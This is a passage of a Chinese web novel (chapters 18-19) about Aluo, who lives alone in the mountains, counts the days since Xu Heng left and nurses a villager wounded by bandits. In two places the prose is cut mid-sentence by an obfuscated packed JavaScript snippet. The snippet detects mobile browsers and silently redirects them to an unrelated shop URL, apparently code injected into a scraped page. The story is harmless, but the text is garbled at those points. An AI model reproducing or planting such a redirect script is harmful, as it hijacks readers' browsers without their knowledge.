“不止,”徐珩摇头,“我要知道,他们最怕什么,最想遮掩什么,最不能让人知道什么。” 阿萝就是这样在山里活下来的,而这京城,又何尝不是另一种“山林”呢。 “校尉,”方粮官看着他,眼神复杂,“你……好像不太一样了。” 以前的徐珩,是战场上的一把利剑,温和儒雅之下,藏着快意恩仇的性子。可现在的徐珩,身上带着山林的烙印,带着溪水的寒凉,带着一种不动声色的狠厉与沉稳。 徐珩笑了笑,是不一样了。 以前的他,总想着光明正大地争,想着靠军功搏一个前程,想着让侯府看得起他这个庶子。 现在的他,只想赢,用尽任何必要手段的赢。 为了自己,为了娘,更为了远在山林里,等着他回去的阿萝。 他抬头望向窗外的月亮,月亮又圆又亮,像阿萝煮的野菜粥,冒着淡淡的热气。 阿萝,等我。 很快,我就回来了。 18. 第 18 章 阿萝从来没有记录时间的习惯,但是徐珩走后,她就开始记录了。 她怕自己忘记他离开的日子。 每天早上起来,她都会往角落的竹筐里丢一根指头大小的树枝,有时候忘记过了多久了,就倒出来数一数。 她找了他一个月,他音讯全无。 后来,她就不找了,继续过自己的日子。 她搬到了鹰嘴崖的洞穴里,那个地方虽然冷,但是没人知道,她住着比较安心。 徐珩走后第四十天,她回到老宅附近,等着货郎老陈上门,交换过年的物资。 这是过年前最后一次,阿萝告诉老陈以后不必再来了,她搬走了。 去哪儿她不愿意说。 老陈觉得可惜,她虽然只有一个人,交换的东西却不少,有时候能抵得上十几二十户人家的村落,她的东西也好,又实惠,不然他也不会为了她一个人专门跑这一趟了。 “不过搬走了也好,”老陈把她的东西收好,“最近不太平,不知道哪里来的一股山匪,流窜各处,也不知道什么时候就撞上了,这两年怎么老是这样!” 老陈说着起了牢骚,阿萝脸色没有什么变化,山里么,不就这样。 除了猛兽毒虫,也是这些残暴之人的庇身之所。 但是在老陈要走的时候,她却忽然问关于外面的事情。 “外面?”老陈一头雾水,“什么外面?外面什么事?”这里群山连绵不见尽头,但是外面的世界却更大。老陈脚走四方,算得上是方圆百里中见多识广的,但相比于外面浩大广阔的天地,他也只是井底之蛙,泉下蜉蝣。 阿萝脸上露出茫然纠结的神色,眉头锁在一起,“军营,或者是京城?” 开春的时候朝廷确实派了一支军队来,说是平叛,在黑熊岭那边打了几仗,后面他们就没关注了。说到底,这些跟他们这些整天只操心糊口的人有什么关系呢。 至于京城。 老陈蹙了蹙眉,“那地方听说可远了,即便是骑快马,也要几十天才能到,如果是走路,恐怕要好几个月才能走到,你打听这个做什么?” 这么远吗?! 阿萝心里凉了半截,不再多说,与货郎分别后又在密林里独行。 阿萝其实并不知道什么时候过年,她一个人独居深山,人迹罕至,第二天跟第一天并没有区别,第二个月跟第一个月也大差不差。 天气冷,她出门的时间要少了一些,出去也基本都是捡捡柴。 寂寂洞穴里,她只能听风声,听雨声,听更深的林子里传来野兽嘶吼的声音。 有一天早上她醒来,又梦见了徐珩的她忽然忘记他走了多少天了。 她慌乱地爬起来,擦了擦眼角的泪,折了一节树枝丢到竹筐里,又把里面的小树枝倒出来,一根一根数,数了一根就把一根丢回竹筐里。 一共九十八根。 徐珩已经离开九十八天了。 这个事情让她心慌,就像被突然跳出来的野猪追,心慌意乱之时忽然发现前面是悬崖,马上就要跌入万丈深渊。 她马上抓住胸口的衣襟,压住快要碎掉了的心。 徐珩,你到底……货郎说京城很远,也许,他才刚到京城也说不定。 是的,他一定是刚到家,他说了,他家里有很多事情要处理,他暂时还回不来。 只是暂时回不来而已。 阿萝只能这样安慰自己。 天气渐渐转暖,小草从枯败的荒地里冒出来,一根、两根、三根……越来越多,逐渐连成片,然后茂密地疯长。 山崖上、密林里、河水边,各种花相继开放,山里变得热闹起来。 起了个大早的阿萝生火烧水,偶然一瞥,就被灿烂的春景吸引了。 这里地势高,可以将大片的山谷尽收眼底。 此时太阳刚刚升起来,蔚然生秀的山谷蒸腾着晨岚,红的、白的、紫的、黄的各色花树与绿色的树叶交织在一起,在蒸笼一样的山谷里随风飘摇、翻涌。 如果徐珩在就好了,他读过书,一定能把这景记录下来。 徐珩…… 意识到自己又想起了他,阿萝心情顿时低落。 已经一百二十四天了,他…… 为了不让自己多想,阿萝也不等水烧开,倒了一碗,喝了就用草木灰盖住火,背着背篓出门了。 前两日下山换盐和布料,她听说山匪闹得更凶了。她打算回老宅的想法就这么否决了,还是鹰嘴崖这里最安全。 山路被新草漫过脚踝,沾着晨间的露水,凉丝丝地浸进裤腿里。 阿萝步子不快,沿着崖壁的小径走,指尖偶尔拂过崖边垂下来的藤蔓,嫩芽蹭着指腹,软得像极了徐珩替她擦药时的指尖。 她顿了顿,猛地收回手,指尖攥成拳,指甲嵌进掌心,才压下那点不该有的恍惚。 她今日是来采菌子的。 春雨过后,松针底下总能拱出肥嫩的青头菌,用泉水焯过,拌上晒好的笋干,就是一顿顶好的饭食。 她动作熟稔,拨开腐叶,见着菌子便弯腰拾起,放进背篓底层垫着的桐叶上,一片挨着一片,摆得整整齐齐。 这是她独居多年的习惯,凡事都要归置妥帖,日子才能过得安稳。 日头渐渐爬到头顶,林间的晨雾散了,鸟雀的叫声密起来,叽叽喳喳的,衬得周遭更静。 阿萝的背篓半满了,她寻了块平整的青石坐下,摸出腰间的水囊喝了两口。目光漫不经心地扫过对面的山坳,那里的野花开得正盛,粉白的花簇堆在枝头,风一吹,便簌簌落着花瓣雨。 她起身拍了拍衣裳上的草屑,背上背篓往回走。路过那条山涧时,看见涧水里的游鱼多了起来,摆着尾巴在石缝里穿梭。 回到洞穴时,日头已经西斜。 她把菌子倒出来晾在石板上,又去拾掇柴火,将灶膛里的火重新燃起来。 暮色四合,山风卷着花香钻进来,不知道藏在哪个角落的虫子又叫了起来,一声一声,在寂静的洞穴里格外刺耳。 她坐在火堆旁,看着跳动的火苗,影子被拉得老长,贴在石壁上,孤孤单单的。洞外传来几声鹧鸪的啼叫,一声接着一声,凄清得很。 阿萝忽然想起老陈说的山匪,想起京城的路,想起那遥遥无期的归期。她伸出手,拢了拢面前的火苗,火光映着她的脸,眸子里却没什么温度。 树枝的数量还会一天天多起来,日子也会一天天过下去。 只是这深山里的春去秋来,花开花落,不知道还要等过多少个轮回,才能等到那个说要回来的人。 蝉鸣的声浪渐渐低下去,山林里的暑气被一场场夜雨后的凉风吹散。阿萝往竹筐里丢树枝的手,开始要拂开落在筐沿的枯叶。 她数过一次,整整三百根。 徐珩走后的第九个月,鹰嘴崖的枫叶红透了半边天。晨雾漫进洞穴时,带着枫叶的气味,沾在阿萝晾在洞口的布衫上,晕出浅浅的红痕。 她把布衫收进来叠好,动作依旧是慢条斯理的,叠痕压得方方正正,和她码在角落的柴薪、垒在灶边的陶碗没什么两样。 入秋后,山匪的踪迹好像淡了些,下山换粮时,没再听见有人提起。 阿萝照旧是换些粗盐和糙米,不多言,不多看,卖了晒干的药草便转身往回走。只是山脚的野柿子熟了,橙红的果子坠弯了枝桠,她站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300184|197952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树下看了半晌,折了根带果的枝,插进洞穴里唯一的陶瓶里。 徐珩在的时候,说过京城的秋也有柿子树,红得像宫墙下的灯笼。 这话他只说过一次,阿萝却记得牢。 她每日出门,不再是采菌子,而是捡野栗。熟透的栗球炸开刺壳,露出褐色的果仁,她捡回来,埋进灶膛的余烬里,等夜里火熄了,扒出来,壳裂肉香。她会剥出完整的栗仁,摆成一小碟,摆在自己对面,就好像有人会吃一样。 石凳被山风吹得发凉,和她遇到他的那一天一样。 夜里的风更冷了,卷着枫叶拍打着洞口的藤蔓,沙沙的响。阿萝往火堆里添了块柴,火星子噼啪炸开,映着石壁上她的影子,还是孤零零的一个。她忽然想起要数数树枝,便起身把竹筐拖过来,倒在地上。 三百一十六根。 她一根一根地数,数得慢,指尖碰到每一根树枝,都像是触到了一天的日升月落。 阿萝把树枝重新装进筐里,抬手抹了抹眼角。她没想哭,只是山里的风太烈,吹得眼睛发涩。 洞外的鹧鸪又开始啼叫了,一声,两声,混着枫叶飘落的声音。 阿萝坐在火堆旁,捧着温热的栗仁,慢慢嚼着。栗肉粉糯,带着微甜,却抵不过心底的那点空落。她望着陶瓶里的柿子枝,望着枝上渐渐干瘪的果子,忽然觉得,这深山的秋,好像比冬还要长些。 鹧鸪的啼声终于被北风撕碎,第一场雪落下来时,阿萝正往竹筐里丢树枝。 指尖触到筐沿的冰碴,她缩了缩手,低头数了数新添的几根,三百四十二根。 徐珩走后的第十二个月,鹰嘴崖被大雪裹成了素白的一片。洞口的藤蔓枯成了褐色的绳,挂着冰凌,风一吹,叮当响。 阿萝的日子照旧过得规整,天不亮就起身,扫开洞口的积雪,拾掇灶膛里的火。 雪封了山,她便不再出门,靠着晒干的菌子、野栗和存着的糙米度日。陶碗摆得整整齐齐,柴薪码在角落,连竹筐里的木棍,都被她按长短归置过一次。 只是洞穴里太冷了,她裹紧了那件缝补过的旧棉袄,还是觉得寒气往骨头缝里钻。 雪下得大时,她会趴在洞口看。 漫天的雪絮飘下来,盖住山谷,盖住林莽,连鸟兽的踪迹都埋得干干净净。天地间静得只剩雪落的声音,簌簌的,像谁在耳边低语。她忽然想起老陈说的山匪,想起京城,想起那遥遥无期的归期。 三百六十八根那天,雪停了。 阿萝踩着薄薄的雪,出去砍柴。枯枝上的雪簌簌往下掉,落进她的衣领,凉得她一哆嗦。她砍了一捆柴,背在背上往回走,路过山涧时,看见涧水结了冰,冰面下还冻着几片枫叶,红得刺眼。 她忽然蹲下身,用手指去摸那冰面。冰很冷,冻得指尖发麻,她却不肯停,直到摸到那片枫叶的轮廓,才缓缓收回手。 回到洞穴时,日头已经偏西。她把柴薪码好,然后坐在火堆旁,剥着最后一点野栗。栗仁没了往日的甜,只剩一点寡淡的香。她剥出完整的一颗,抬手想往对面的碗上放,手忽然停了。 她的手顿在半空,良久,才把那颗栗仁放进嘴里。 夜里的风更烈了,拍打着洞口,呼呼响个不停。阿萝往火堆里添了块柴,火光跳得厉害,映着石壁上她的影子,还是孤零零的一个。 一年了,已经一年了,徐珩,京城再远你也该回来了。 她望着竹筐里的树枝,那成堆的树枝,好像在笑她,嘲笑她自欺欺人,整整一年。 也许,他不是去了京城,而是…… 想到这儿,阿萝忽然蜷成一团,那迟来的崩溃与痛哭,终于在压制一年后,爆发了。 19. 第 19 章 阿萝在鹰嘴崖度过了第二个春节。 崖边的那株桃花开了的那天,阿萝突然意识到自己好像很久没有说过话了,她已经有半年的时间没下山,没跟人说过话了。 嗓子好像被什么东西糊住了一样,可是认真去感受,却又空荡荡,什么也没有。 她清了清嗓子,想随意说些什么,脑子却一片空白,一个字也蹦不出来。 她也懒得挣扎,往角落的筐里丢了一根树枝,背着草药和皮货下山了。 竹筐已经满了,但是她依然在丢。 她不知道自己为什么还要继续,但是不继续,她就觉得好像忘了什么,丢了什么,心里空落落的,她必须继续。 徐珩帮她改良过陷阱,这一年抓了不少猛兽。 从鹰嘴崖下去,要一个多时辰才能遇到村庄,村庄人口不多,没办法交换物资,所以她必须再走一个多时辰,前往老鸦集,那里有驿站,人也多,集市热闹。 可是她刚走到村庄外,就看到河水里泡着四五个死人,流动的水里飘着红纱一样的淡淡的红色,遥遥在望的村落冒着不正常的烟。 起火了。 有人强闯村庄了。 那些人还在附近! 阿萝马上作出判断,转头就往山里走。 才走了十几步,微弱的呼救声和着风声传来。 阿萝顿了一下,眼睛四处一扫,看到一个人趴在山路下方,压倒一片草。 她像是被什么击中了一样,想也不想地就跳了下去。 她快手快脚,将人翻过来,并不是他。看起来二十多岁,比他大些,也没他好看。 幸好不是你。 ……为什么不是你? 阿萝按下怦怦乱跳的心脏,忍不住苦笑,伸手摸了摸他的侧颈,情况比当初的徐珩好很多。 她能救活。 她抬头警惕地扫视四周,村庄方向的烟更浓了,隐约还能听见远处模糊的叫喊声,那些声音并未朝这个方向移动,但无论如何,她必须尽快离开。 她将人架在肩膀上,带了回去。 拖着一个人,她没去鹰嘴崖,而是去了老宅。 一年多没有人住,本就凌乱的老宅荒芜得不像样子。屋顶漏了,夯土墙塌了一角,曾经干净的院子长满了杂草。 阿萝动作麻利地将那人拖进屋内,远离门口的视线。 她蹲下身,再次检查伤口。他受的是刀伤,在肩胛下方,伤口不深,但血流了不少。伤者是个年轻男子,皮肤黝黑,手掌粗大,是常年劳作的模样。他身上穿着普通的粗布衣裳,已经破损不堪,沾满泥土和血污。 往事一幕幕,浮现在脑海中,完全不受控制。 阿萝深吸一口气,压下心中翻涌的复杂情绪。 她将伤者安置在相对干燥的角落,然后开始清理环境,动作熟练而迅速。 她先清理出一块干净地面,铺上从院中拔来的干草。再撕下自己衣襟内侧较为干净的布条,用雨水浸湿,为伤者擦洗伤口周围。 药粉撒上去时,男子无意识地抽搐了一下,但没有醒来。 阿萝重新包扎好伤口,又检查了他的脉搏和呼吸。还算平稳,只是虚弱。 她这才有时间仔细打量这个人,约莫二十四五岁,比徐珩年长些,面容普通,但眉宇间有种朴实的坚毅,指甲缝里有洗不净的泥土痕迹,应该是个农人,或是个猎户。 窗外天色渐暗。 阿萝起身掩好破旧的门扉,又从院中找来几块木板勉强挡住墙角的缺口。做完这些,她才在离伤者不远处坐下,从竹筐里取出干粮和水囊。 咬下一口干硬的饼子时,她忽然意识到自己刚才说话了。 “争气点,不然我不救。” 那句话的余音仿佛还在空气中飘荡,陌生又熟悉。她的声音嘶哑干涩,像是久未开启的门轴,已经风化腐朽。 鹰嘴崖的日日夜夜,只有风声、雨声、鸟兽声。她对着草药说话,对着陷阱说话,甚至对着那株桃花说话——但那些都只是无声的唇语,从未真正发出声响。 为什么此刻却愿意为一个陌生人开口? 阿萝垂下眼,慢慢咀嚼着饼子,或许是因为在这荒废的老宅里,在这熟悉又陌生的环境中,又面对一个同样受伤的人,某些被刻意深埋的东西被悄然唤醒了。 夜深了。 伤者开始不安地扭动,额头上渗出冷汗,嘴唇干裂起皮。阿萝用布条蘸了水,轻轻润湿他的嘴唇。 “水……”他含糊地呢喃。 他伤情没有那么徐珩严重,喝点水也没什么坏处,阿萝又喂了他一点点水,这一次,他缓缓睁开了眼睛。 那双眼睛里最初是一片混沌的茫然,随即被惊恐占据。他猛地想要坐起,却牵动了伤口,疼得倒抽一口冷气。 “别动。”阿萝按住他。 她的声音不大,但在寂静的夜里格外清晰。男子愣住了,目光从她脸上移到肩上的伤口,再环顾四周破败的环境。 “你是……”他艰难地开口,声音虚弱,“是你救了我?” 阿萝点点头。 男子哼了几声,才缓过气来:“多谢姑娘……多谢……那些匪徒,他们……” “匪徒?”阿萝蹙眉。 “是,一伙流窜的土匪,不知道从哪里来的,有二十多人……”男子的声音颤抖起来,想起了令人惊惧的画面,“他们突然冲进村子,见人就杀,抢东西,放火……我、我是趁乱逃出来的……”逃跑时,背后挨了一刀。 他的眼眶红了,攥紧了拳头,“我爹娘……我妹妹他们……” 话没说完,但意思已经明了。 阿萝沉默着,没有安慰,也不追问。在这乱世,这样的故事并不罕见。她只是重新检查了他的伤口,确认没有继续出血。 “你叫什么?”她突然问,问完,她才发现这个根本不重要。 但是那人却很愿意回答,“陈……陈大山,是山下陈家村的人,姑娘,你呢?怎么会在这里?” 她离开村庄那么多年,村子里的人早就不记得还有那么一户人家了。 阿萝没有回答,她起身走到窗边,透过木板的缝隙向外望去。夜色深沉,山林寂静,村庄方向的火光已经看不到了,只余一片黑暗。 “天亮前,不能生火。”她背对着他说,“你的伤需要静养几日,这里暂时安全,你好好休息。” 陈大山还想再问什么,但阿萝已经走到另一边,靠着墙壁闭目养神,她的姿态明确表示对话到此为止。 后半夜,陈大山因伤口疼痛而辗转反侧,时而清醒时而昏沉。阿萝没有睡,偶尔起身为他换湿布降温,喂水。每次她靠近时,陈大山都能闻到她身上淡淡的草药味,混合着浸润山林的气息。 后半夜,陈大山终于沉沉睡去。 阿萝也跟着浅浅睡了片刻,再醒来,窗户已经漏进微薄的天光。她悄无声息地起身,推开吱呀作响的门,走到院中。 晨雾弥漫,荒草萋萋。 恍惚间,她好像看到了坐在药圃中间认真打理的人,心里像是被什么东西狠狠一扯,嘴角不由得一瘪。 那个时候,她依然如往常一样早出晚归,可是知道家里有人等着自己,心里总归是不一样的。 回家的路上,脚步都那么轻快。 可是为什么……他不在了…… 她想着想着,眼前一片模糊。 “姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308790|197952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘……” 阿萝猛地回神,回头看去,陈大山不知何时醒了,正扶着门框上看她,微微佝偻着腰,他的脸色还是不太好,但眼神清明了许多。 她立刻压制住眼里的湿意,沉默着没说话。 他的伤看着不轻,但实际上不及徐珩十分之一,徐珩都能活过来,他自然也不在话下。 “这是你家?” “嗯。” “那怎么……”陈大山看着破败荒芜的景象,一时间不知道怎么问。 阿萝也没解释。 “你家里人呢?”陈大山又追问。 阿萝当没听见,转身进屋:“你该换药了。” 明白她不愿意说,陈大山也不再追问,乖乖换药。 接下来的两天,陈大山在老宅养伤,阿萝白天出去采药、设陷阱,傍晚带回食物和水。她话很少,几乎不主动开口,但照顾伤者却细致周到。 陈大山是个话多的人,或许是为了驱散心中的恐惧和悲伤,他断断续续讲了很多。关于他的村子,他的生活,他的家人。阿萝大多时候只是静静听着,偶尔点头或摇头。 陈大山以为她对他的事情不感兴趣,试着让她说说自己的事情,比如她为什么住在山里,但是阿萝却只是沉默,对自己的事情绝口不提。 两次之后,陈大山也就放弃了。 没多久,陈大山已经能行动自如了,伤口也开始结痂。 阿萝将一些草药和干粮放在他跟前,跟他说:“我已经不住在这儿了,以后也不会来了,你多保重。” 陈大山愣了片刻,才讷讷开口,“我爷要下山去了,得回去看看……看看还有没有人活着。” 阿萝随意点点头,让他小心些,说:“山下可能还有土匪。” “我知道,”陈大山苦笑,“但我必须去,姑娘,你的救命之恩,我陈大山记下了。如果……如果我还活着,一定回来报答你。” 又是一个要离开却承诺会回来的人。 阿萝摇摇头:“不必。”那个人都没回来,其他人来不来,都不重要了。 送走陈大山后,老宅又恢复了寂静。 阿萝却没有立刻返回鹰嘴崖,她在老宅多待了一天,慢慢清理院子,修补屋顶,仿佛在完成某种仪式。 之后,她带着所有能用的东西,一步一步走上鹰嘴崖。 回到崖上洞穴时,夕阳正将天边染成一片橘红。 她整理完东西,走到崖边,那株桃花开得正盛,粉白的花瓣在晚风中轻轻摇曳。 她吐出一口仿佛在胸中堆叠多日的气息,长长喟叹,“花又开了,徐珩。” 她仰头望着树梢和天空,眼睛沾上薄薄的湿意,也不知道在问谁,“你为什么还不回来?” 晚风拂过,桃花瓣簌簌落下,坠下崖去。 阿萝站在崖边,看着暮色四合,灰蓝色的天空笼盖着连绵的群山,最远处的山巅,还保留着一抹亮色,似乎是天没黑。她忽然想,远山的尽头,是什么样子的呢?会天黑吗? 也不知道是不是这几天见了生人,她肚子里装满了话,想要跟那个人说。 她想告诉她,今天她救了一个人,那人不是他,但她还是救了。 想告诉他,老宅的药圃荒了,但是她又在别的地方开了一块。 想告诉他,她现在布的陷阱比之前好了很多,月前还抓了一只很大的野猪。 可是山洞里空荡荡的,没有人听。 她的话就像丢进了无底洞,没有半丝回响。 她回到洞内,捅开火塘,架上一锅水。火光亮起,照亮了整个山洞,也照亮正蹲在角落里,孤零零地数树枝的人。 窗外,月明星稀,山风过耳。